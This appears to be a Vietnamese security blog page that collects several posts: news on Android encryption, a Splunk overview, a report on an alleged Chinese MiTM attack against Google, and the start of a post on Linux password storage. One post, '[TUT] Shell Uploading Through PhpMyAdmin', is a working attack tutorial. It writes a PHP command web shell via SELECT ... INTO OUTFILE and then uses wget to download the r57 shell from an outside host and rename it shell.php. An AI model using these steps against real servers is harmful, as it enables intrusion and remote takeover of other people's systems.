Keyz Cenly Blog

Google đang đẩy mạnh mã hóa trên Android để bắt kịp Apple

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br />Google cho biết họ sẽ đẩy mạnh mã hóa trên hệ điều hành của Google.<br /><br /><img src="http://securitydaily.net/wp-content/uploads/2014/09/google-android.jpg" /><br /><br />Thông báo được đưa ra trong bối cảnh vấn đề về bảo mật riêng tư rất nhạy cảm và sau khi Apple công bố một kế hoạch tương tự cho iPhone và iPad. Phát ngôn viên của Google cho biết việc mã hóa đã được trang bị cho smartphone và tablet Android nhưng nó sẽ được kích hoạt tự động trong các phiên bản sắp tới. “Ba năm qua Android đã trang bị những hình thức mã hóa và những dữ liệu quan trọng của bạn sẽ không bao giờ đến tay các cơ quan thực thi pháp luật. Như một phần của phiên bản Android sắp phát hành, mã hóa sẽ được kích hoạt mặc định, vì vậy bạn sẽ không cần phải nghĩ về việc bật nó lên”. Google cũng chưa đưa ra thời điểm bản cập nhật Android tiếp theo được phát hành.<br /><br />Apple đã thông báo rằng hệ thống mã hóa mới được xây dựng trong iOS 8 – hệ điều hành được cài đặt sẵn trên iPhone 6. Nó cũng có thể được cài đặt trên các phiên bản iPhone và iPad khác. Apple cho biết về chính sách mới của mình trên trang web rằng: “Dữ liệu cá nhân của bạn như hình ảnh, tin nhắn (bao gồm cả tệp đính kèm, thư điện tử, danh bạ, lịch sử cuộc gọi, nội dung trên Itune, ghi nhớ và nhắc nhở)  sẽ được bảo vệ bởi hệ thống mã hóa của bạn. Không giống như những đối thủ khác, Apple không thể qua mặt được hệ thống mã hóa và do đó cũng không thể truy cập được dữ liệu của bạn. Vì vậy chính phủ sẽ không có kĩ thuật nào khả thi trong việc khai thác dữ liệu từ các thiết bị iOS 8.”<br /><br />Các bản cập nhật được tung ra trong bối cảnh, hàng loạt các chương trình giám sát dữ liệu của chính phủ từ máy tính và các thiết bị khác bị tiết lộ. Tài liệu rò rỉ của cựu nhân viên Cơ quan An ninh Quốc gia (NSA) Edward Snowden đã làm nổi bật mối quan tâm về vai trò của các công ty công nghệ cao đối với những chương trình theo dõi này.<br /><br />Securityweek</span></div>

Google đang đẩy mạnh mã hóa trên Android để bắt kịp Apple

Google cho biết họ sẽ đẩy mạnh mã hóa trên hệ điều hành của Google. Thông báo được đưa ra trong bối cảnh vấn đề về bảo mật riêng tư rất nhạ...

[TUT] Shell Uploading Through PhpMyAdmin

<span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">- Điều đầu tiên tất nhiên bạn cần là login được vào phpmyadmin (root càng tốt hoặc user có đặc quyền mysql db)</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">- Phải biết path của server, để làm được điều đó, tại SQL các bạn run lệnh:</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>SELECT @@datadir</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://a.imageshack.us/img199/6536/xvig.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: xvig.png]" border="0" src="http://a.imageshack.us/img199/6536/xvig.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a><br /><a href="http://a.imageshack.us/img32/9144/80l3.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: 80l3.png]" border="0" src="http://a.imageshack.us/img32/9144/80l3.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bắt đầu nào </span><img alt="Big Grin" border="0" src="http://ceh.vn/@4rum/images/smilies/biggrin.gif" style="border: none; font-family: arial, tahoma; font-size: 13px; height: auto; line-height: 18px; max-width: 100%; outline: 0px; vertical-align: middle;" title="Big Grin" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Đầu tiên là login vào phpmyadmin</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/SqxHA.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: SqxHA.png]" border="0" src="http://i.imgur.com/SqxHA.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ click vào "Show MySQL system varible"</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/PvHkS.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: PvHkS.png]" border="0" src="http://i.imgur.com/PvHkS.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Sau đó chuyển qua SQL</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><a href="http://i.imgur.com/TcvHs.png" id="fbimage" style="color: white; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-decoration: none;"><img alt="[Hình: TcvHs.png]" border="0" src="http://i.imgur.com/TcvHs.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Lúc này các bạn có thể chạy các lệnh SQL như tạo db, xóa bảng hoặc bất cứ điều gì, ở đây chúng ta cần là up shell.</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ chúng ta sẽ tạo một dòng cmd vào một file mới.</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "full/path/here/cmd.php"</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Mình ví dụ ở đây Server dùng Xampp (path public của xampp là [X]:\xampp\htdocs\)</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Click "Go"</span><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://a.imageshack.us/img716/8970/59kn.png" id="fbimage" style="color: white; text-decoration: none;"><img alt="[Hình: 59kn.png]" border="0" src="http://a.imageshack.us/img716/8970/59kn.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Bây giờ, file cmd.php là ở đây </span><a href="http://site.com/cmd.php" style="font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-decoration: none;" target="_blank">http://site.com/cmd.php</a><br style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Tại cmd.php, chúng ta sẽ run lệnh này để download con shell ở dạng txt về và change thành php</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<blockquote style="background-color: #030303; background-image: url(http://ceh.vn/@4rum/images/neonglow/quoter.png); background-position: 99% 42px; background-repeat: no-repeat no-repeat; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(22, 22, 22); color: #d5d5d5; font-family: arial, tahoma; font-size: 11px; margin: 0px; min-height: 60px; padding: 8px; vertical-align: middle;">
<cite style="background-color: #2e2e2e; background-image: url(http://ceh.vn/@4rum/images/neonglow/highlight_faint.png); background-position: 50% 0%; background-repeat: repeat no-repeat; border-bottom-color: rgb(46, 46, 46); border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-bottom-style: solid; border-bottom-width: 1px; border-top-left-radius: 2px; border-top-right-radius: 2px; color: #d8d8d8; display: block; font-style: normal; font-weight: bold; margin: -8px -8px 8px; padding: 10px; text-shadow: rgb(5, 5, 5) 1px 1px 1px;">Trích dẫn:</cite>wget <a href="http://www.r57.biz/r57.txt;mv" style="color: white; text-decoration: none;" target="_blank">http://www.r57.biz/r57.txt;mv</a> r57.txt shell.php</blockquote>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><span style="font-family: arial, tahoma; font-size: 13px; line-height: 18px;">Và sau đó là thành quả</span><br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" /><br />
<div style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px; text-align: center;">
<a href="http://i.imgur.com/dbq48.png" id="fbimage" style="color: #8bddec; text-decoration: none;"><img alt="[Hình: dbq48.png]" border="0" src="http://i.imgur.com/dbq48.png" style="border: none; height: auto; max-width: 100%; outline: 0px;" /></a></div>
<br style="color: #ebebeb; font-family: arial, tahoma; font-size: 13px; line-height: 18px;" />

[TUT] Shell Uploading Through PhpMyAdmin

- Điều đầu tiên tất nhiên bạn cần là login được vào phpmyadmin (root càng tốt hoặc user có đặc quyền mysql db) - Phải biết path của server, ...

Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Tiếp tục loạt bài viết về hệ thống giám sát an ninh mạng, trong các bài tới tôi sẽ giới thiệu đến các bạn các công cụ, sản phẩm giám sát an ninh mạng điển hình. Bạn có thể tham khảo thêm bài viết <a href="http://securitydaily.net/tong-quan-ve-he-thong-giam-sat-an-ninh-mang/" style="-webkit-transition: 300ms; box-sizing: border-box; color: #486493; text-decoration: none; transition: 300ms;" title="Tổng quan về hệ thống giám sát an ninh mạng">Tổng quan về một hệ thống giám sát an ninh mạng</a>. Công cụ giám sát đầu tiên mà tôi sẽ nhắc đến là Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng. Splunk là một phần mềm giám sát mạng dựa trên sức mạnh của việc phân tích Log. Splunk thực hiện các công việc tìm kiếm, giám sát và phân tích dữ liệu logs lớn được sinh ra từ các ứng dụng, các hệ thống và các thiết bị hạ tầng mạng. Nó có thể thao tác tốt với nhiều loại dịnh dạng dữ liệu khác nhau (Syslog, csv, apache-log, access_combine …). Splunk được xây dựng dựa trên nền tảng Lucene and MongoDB với một giao diện web rất trực quan.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<img alt="Splunk_ Enterprise" class="aligncenter size-full wp-image-6827" height="368" src="http://securitydaily.net/wp-content/uploads/2014/09/Splunk_-Enterprise.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="640" /></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
Splunk Enterprise</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">CHÍNH SÁCH BẢN QUYỀN: </strong><em style="box-sizing: border-box;">Splunk cung cấp 2 bộ sản phẩm miễn phí và trả phí</em></div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Sản phẩm trả phí: Có tất cả các chức năng của Splunk, không hạn chế kích thước dữ liệu.</li>
<li style="box-sizing: border-box;">Sản phẩm miễn phí: Hạn chế một số chức năng, hạn chế khối lượng dữ liệu mỗi ngày là 500MB. Bao gồm các chức năng: Đánh chỉ mục dữ liệu, tìm kiếm trong thời gian thực, thống kế và kết xuất báo cáo.</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">TÍNH NĂNG</strong> <strong style="box-sizing: border-box; color: black;">Định dạng Log</strong>: Splunk hỗ trợ hầu như tất cả các loại log của hệ thống, thiết bị hạ tầng mạng, phần mềm, Firewall, IDS/IPS, Log Event, Register của các máy trạm… <strong style="box-sizing: border-box; color: black;">Các hình thức thu thập dữ liệu</strong>: Splunk có thể thực hiện việc thu thập log từ rất nhiều nguồn khác nhau.</div>
<ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;">
<li style="box-sizing: border-box;">Từ một file hoặc thư mục (kể cả file nén) trên server</li>
<li style="box-sizing: border-box;">Qua các kết nối UDP, TCP từ các Splunk Server khác trong mô hình Splunk phân tán</li>
<li style="box-sizing: border-box;">Từ các Event Logs, Registry của Windows…</li>
</ul>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Splunk cũng kết hợp rất tốt với các công cụ thu thập log khác để tăng hiệu năng của hệ thống. <strong style="box-sizing: border-box; color: black;">Cập nhật dữ liệu</strong>: Splunk cập nhật dữ liệu liên tục khi có thay đổi trong thời gian thực. Giúp cho việc phát hiện và cảnh báo chính xác trong thời gian thực. <strong style="box-sizing: border-box; color: black;">Đánh chỉ mục dữ liệu</strong>: Splunk được xây dựng trên Lucence, có thể đánh chỉ mục dữ liệu với một khối lượng dữ liệu rất lớn trong một khoảng thời gian ngắn. Giúp việc tìm kiếm diễn ra nhanh chóng và thuận tiện. <strong style="box-sizing: border-box; color: black;">Tìm kiếm thông tin</strong>: Splunk làm việc rất tốt với dữ liệu lớn và cập nhật liên tục. Nó cung cấp cơ chế tìm kiếm với một “Splunk Language” cực kỳ thông minh bao gồm các từ khóa, các hàm và cấu trúc tìm kiếm giúp người sử dụng có thể truy xuất mọi thứ, theo rất nhiều tiêu chí từ tập dữ liệu rất lớn. Những nhà quản trị mạng cao cấp và chuyên nghiệp thường gọi Splunk với cái tên “Splunk toàn năng” hay “Splunk as Google for Log files” để nói lên sức mạnh của Splunk. <strong style="box-sizing: border-box; color: black;">Giám sát và cảnh báo:</strong> Splunk cung cấp cho người dùng một cơ chế cảnh báo dựa trên việc tìm kiếm các thông tin do chính người sử dụng đặt ra. Khi có vấn đề liên quan tới hệ thống phù hợp với các tiêu chí mà người dùng đã đặt ra thì hệ thống sẽ cảnh báo ngay tới người dùng (cảnh bảo trực tiếp qua giao diện, giử Email). <strong style="box-sizing: border-box; color: black;">Khắc phục sự cố:</strong> Splunk còn cung cấp một cơ chế tự động khắc phục với các vấn đề xảy ra bằng việc cấu hình để tự động chạy các file Script mà người dùng tự tạo (Ví dụ như: Chặn IP, đòng Port …) khi có các cảnh báo xảy ra. <strong style="box-sizing: border-box; color: black;">Hiển thị thông tin</strong>: Splunk cung cấp một cơ chế hiển thị trực quan giúp người sử dụng có thể dễ dàng hình dung về tình trạng của hệ thống, đưa ra các đánh giá về hệ thống. Splunk còn từ động kết xuất ra các báo cáo với nhiều loại định dạng một cách chuyên nghiệp. <strong style="box-sizing: border-box; color: black;">Phát triển</strong>: Cũng cung cấp các API hỗ trợ việc tạo các ứng dụng trên Splunk của người dùng. Một số bộ API điển hình như Splunk SDK (Cung cấp các SDK trên nền tảng Python, Java, JS, PHP), Shep (Splunk Hadoop Intergration – Đây là sự kết hợp giữa Splunk và Hadoop), Shuttl (Là một sản phẩm hỗ trợ việc sao lưu dữ liệu trong Splunk), Splunkgit (Giúp bạn hình dung dữ liệu tốt hơn), Splunk power shell resource Kit (Bộ công cụ hỗ trợ việc mở rộng và quản lý hệ thống).</div>
<blockquote style="background-color: white; border-left-color: rgb(238, 238, 238); border-left-style: solid; border-left-width: 5px; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin: 0px 0px 20px; padding: 10px 20px;">
<div style="box-sizing: border-box; font-size: 13px !important; line-height: 1.25; text-align: justify;">
<strong style="box-sizing: border-box; color: black;">LƯU Ý: </strong>Splunk mạnh về khả năng phân tích và cảnh báo tuy nhiên nó lại không mạnh và không đảm bảo về việc thu thập và truyền tải log. Cụ thể là nó chưa có cơ chế bảo mật trên đường truyền, không phù hợp với những hệ thống đòi hỏi bảo mật cao. Để phát huy hết được sức mạnh của Splunk cần có thời gian tìm hiểu và sử dụng. Splunk chưa có cơ chế giúp tự động phát hiện ra các tấn công hay các vấn đề từ bên ngoài. Những điều này phụ thuộc vào kinh nghiệm sử dụng và vốn hiểu biết về bảo mật của người quản trị. Đề triển khai được một hệ thống sử dụng Splunk hiệu quả chúng ta cũng cần có một hệ thống riêng, đây cũng là một trở ngại không nhỏ với các hệ thống có quy mô trung bình và nhỏ.</div>
</blockquote>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
CÀI ĐẶT:</h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Splunk cung cấp các bộ cài đặt trên trang web <strong style="box-sizing: border-box; color: black;"><span style="box-sizing: border-box; text-decoration: underline;">splunk.com</span></strong>. Bạn chỉ cần tải bộ cài đặt của Spunk và cài đặt trên các hệ thống server riêng của mình. Splunk cung cấp 1 giao diện web rất trực quan để bạn thao tác và cấu hình mọi thứ. Bạn cũng có thể cài đặt Splunk trên máy của mình để phân tích Log đơn thuần.</div>
<h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;">
TRIỂN KHAI:</h4>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Với một hệ thống lớn để triển khai được Splunk chúng ta cần có một Server riêng để tập trung Log. Tuy nhiên Splunk làm không tốt việc tập trung Log từ các Server hay thiết bị khác. Vì thế chúng ta cần sử dụng một số công cụ khác để thực hiện việc tập trung Log và về Splunk Server. Cụ thể là ta có thể kết hợp với syslog, Snare (for Windows), sử dụng qua Heroku …. <strong style="box-sizing: border-box; color: black;">Triển khai hệ thống phân tán:</strong> Splunk hỗ trợ người dùng thiết lập một hệ thống phân tán khi lượng dữ liệu là quá lớn vượt qua khả năng lưu trữ và xử lý của một máy.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
<img alt="Splunk_deploy" class="aligncenter size-full wp-image-6828" height="328" src="http://securitydaily.net/wp-content/uploads/2014/09/Splunk_deploy.png" style="border: 0px; box-sizing: border-box; vertical-align: middle;" width="640" /></div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: center;">
Triển khai hệ thống phân tán</div>
<div>
<br /></div>

Splunk: Công cụ toàn năng cho các chuyên gia giám sát an ninh mạng

Tiếp tục loạt bài viết về hệ thống giám sát an ninh mạng, trong các bài tới tôi sẽ giới thiệu đến các bạn các công cụ, sản phẩm giám sát an...

GreatFire cáo buộc TQ thực hiện MiTM nhằm vào Google thông qua chứng chỉ số giả

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><br /><br /><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJYarXz-ulpnu_6CvlbeI4kW9cDDRC38BbM8_YAUaKpWC_I0uDgv0LYxgJRm3thCeVNeAo2Wt1968O-uyPBJqznUlLs5vUQV2EXYSKDBBLgOieqcjJzw3zDScKifEnQktWNUBKrwpS-aw/s1600/SSL_socket.jpg"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJYarXz-ulpnu_6CvlbeI4kW9cDDRC38BbM8_YAUaKpWC_I0uDgv0LYxgJRm3thCeVNeAo2Wt1968O-uyPBJqznUlLs5vUQV2EXYSKDBBLgOieqcjJzw3zDScKifEnQktWNUBKrwpS-aw/s640/SSL_socket.jpg" width="640" /></a><br /><br />Cơ quan giám sát trực tuyến GreatFire cáo buộc chính phủ Trung Quốc thực hiện các cuộc nghe lén MiTM bằng cách can thiệp vào traffic đã được mã hóa bằng SSL giữa China Education và Google thông qua CERNET. Thông tin thêm là Google và những dich vụ của họ đang bị chặn ở TQ do chính sách kiểm duyệt của đất nước này và cách duy nhất để kết nối đến Google là thông qua CERNET<br /><br /><br />Thay vì ngăn chặn các truy cập trên thông qua CERNET, các nhà chức trách thực hiện một cuộc tấn công Man-in-The-Middle, bằng cách đó họ vẫn đảm bảo việc “cho phép” các sinh viên và các nhà nghiên cứu truy cập Google trong khi họ hoàn toàn có thể nghe trộm (eavesdropping) hoặc chặn các kết quả tìm kiếm từ người dùng<br />Cuộc tấn công như thế này được ghi nhận trước đây vào 28/8 khi người dùng ở TQ phàn nàn trên Google Plus, Weibo rằng họ không thể truy cập vào google.com và google.com.hk hoặc nhận được một thông báo chứng chỉ SSL không hợp lệ<br /><br /><br /><a href="http://2.bp.blogspot.com/PiS0_PdpaE1cZ-B57dirAtVQFLKtcL0xg_XAwRb7PmBZSSw9u2NCeqGYyP6gv5rk0CLRckXVEU9dj56AS9zuoeWlIZ-GQwajDaQyBCXPes0ppzAu_5AqRU5Somk7k0kGwg"><img border="0" height="360" src="http://2.bp.blogspot.com/PiS0_PdpaE1cZ-B57dirAtVQFLKtcL0xg_XAwRb7PmBZSSw9u2NCeqGYyP6gv5rk0CLRckXVEU9dj56AS9zuoeWlIZ-GQwajDaQyBCXPes0ppzAu_5AqRU5Somk7k0kGwg" width="640" /></a><br /><br /><br /><br />GreatFire đã thực hiện 2 cuộc capture traffic và gửi cho Netresec phân tích. Thông qua việc phân tích họ đã kết luận rằng cuộc tấn công này không phải thông qua giả mạo DNS (DNS spoofing). Dấu hiệu cho thấy một cuộc tấn công MiTM là thời gian hồi đáp trung bình là 8ms trong khi thời gian đáp ứng trung bình phải là 150ms. Điều này cho thấy máy chủ tấn công MiTM phải cách Đại học Bắc Kinh khá gần.<br /><br /><br /><a href="http://upload.wikimedia.org/wikipedia/commons/thumb/7/7a/PekingUniversityPic6.jpg/1280px-PekingUniversityPic6.jpg"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/thumb/7/7a/PekingUniversityPic6.jpg/1280px-PekingUniversityPic6.jpg" /></a><br /><br /><br /><br />Ngoài ra nhóm cũng phân tích 2 chứng chỉ X.509 thu được và nhận ra rằng nó là dạng self-signed. Họ đang nghi ngờ máy chủ tấn công này cũng hoạt động như một máy chủ proxy SSL. Các nhà nghiên cứu cáo buộc rằng chính phủ Trung Quốc giả mạo lưu lượng mạng bằng cách giả mạo chứng nhận SSL của Google và cướp các session SSL bằng cách mạo nhận là máy người dùng.<br /><a href="http://4.bp.blogspot.com/SnvcjJKoN0apwOfHbaDPkh8L2yWx3T3angBDZI68crsxBXd7bwxc-1ZWpfaWauRWm20_6C5xvv2Zg1iRcgW6EY99-Wcqaln6pjor9qpX0d9CUcq0NkZYWEx1l3LCYzvNBg"><img border="0" src="http://4.bp.blogspot.com/SnvcjJKoN0apwOfHbaDPkh8L2yWx3T3angBDZI68crsxBXd7bwxc-1ZWpfaWauRWm20_6C5xvv2Zg1iRcgW6EY99-Wcqaln6pjor9qpX0d9CUcq0NkZYWEx1l3LCYzvNBg" /></a><br /><br /><br />Thực sự cách đây không lâu chinh phủ Trung Quốc đã từng bị cáo buộc tấn công vào một mục tiêu lớn khác là Github hồi thang Giêng 2013</span></div>

GreatFire cáo buộc TQ thực hiện MiTM nhằm vào Google thông qua chứng chỉ số giả

Cơ quan giám sát trực tuyến GreatFire cáo buộc chính phủ Trung Quốc thực hiện các cuộc nghe lén MiTM bằng cách can thiệp vào traffic đã đượ...

Tìm hiểu cách lưu trữ mật khẩu người dùng trên Linux

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Nếu bạn là người quản trị hệ thống Linux thường xuyên thì việc login/logout vào hệ thống là điều mặc định hiển nhiên. Trên màn hình đăng nhập, Linux yêu cầu bạn nhập username/password, nếu bạn nhập chính xác thì bạn đăng nhập thành công vào hệ thống. Vậy điều gì đã xảy ra khi bạn nhập username/password, Linux xử lý dữ liệu đó như thế nào? mật khẩu người dùng lưu ở đâu? cơ chế xác thực như thế nào?</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong bài viết này, tôi tập trung vào tìm hiểu cách linux lưu trữ mật khẩu người dùng.</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;">
Trong Linux, file /etc/passwd là file lưu thông tin user của hệ thống, khi bạn tạo một user mới thì linux sẽ add thêm 1 bản ghi mới vào file này. Bạn dùng lệnh để show quyền truy cập file này thì thấy file này có 1 đặc điểm là tất cả người dùng trong hệ thống đều có thể đọc được (‘r’).</div>
<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; padding-left: 30px;">
